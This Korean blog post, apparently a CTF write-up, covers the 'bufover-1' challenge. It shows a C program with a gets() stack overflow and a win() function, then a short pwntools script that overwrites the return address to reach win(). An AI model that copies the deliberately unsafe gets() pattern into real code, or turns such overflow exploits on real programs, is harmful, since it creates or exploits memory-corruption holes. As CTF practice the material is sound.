#1. 문제 살펴보기
#include <stdio.h>
void win()
{
printf("You win!\n");
char buf[256];
FILE* f = fopen("./flag.txt", "r");
if (f == NULL)
{
puts("flag.txt not found - ping us on discord if this is happening on the shell server\n");
}
else
{
fgets(buf, sizeof(buf), f);
printf("flag: %s\n", buf);
}
}
void vuln()
{
char buf[16];
printf("Type something>");
gets(buf);
printf("You typed %s!\n", buf);
}
int main()
{
/* Disable buffering on stdout */
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
#2. 문제 분석하기
...더보기
뭐든지 알아가보자
#3. 삽질
정상적으로 잘 들어간것을 확인할 수 있다.
이제 ret값을 win함수 주소로 덮으면 flag.txt 파일을 읽어오며 flag를 가져올 것이다.
#4. Exploit Code
from pwn import*
p = process('./bufover-1')
pay = ''
pay += 'a'*0x18
pay += 'b'*4
pay += p32(0x080491B2)
p.sendline(pay)
p.interactive()
'CTF Review' 카테고리의 다른 글
[ stack ] Rooters CTF 2019 baby_pwn (0) | 2019.11.13 |
---|---|
[ heap ] Backdoorctf 2019 babytcache (0) | 2019.11.06 |
[ stack ] BSidesSF 2019 CTF slowfire 미완성 (0) | 2019.11.04 |
[ heap ] 0CTF 2019 baby_aegis (0) | 2019.10.31 |
[ heap ] HSCTF 2019 aria-writer-v3 (0) | 2019.10.07 |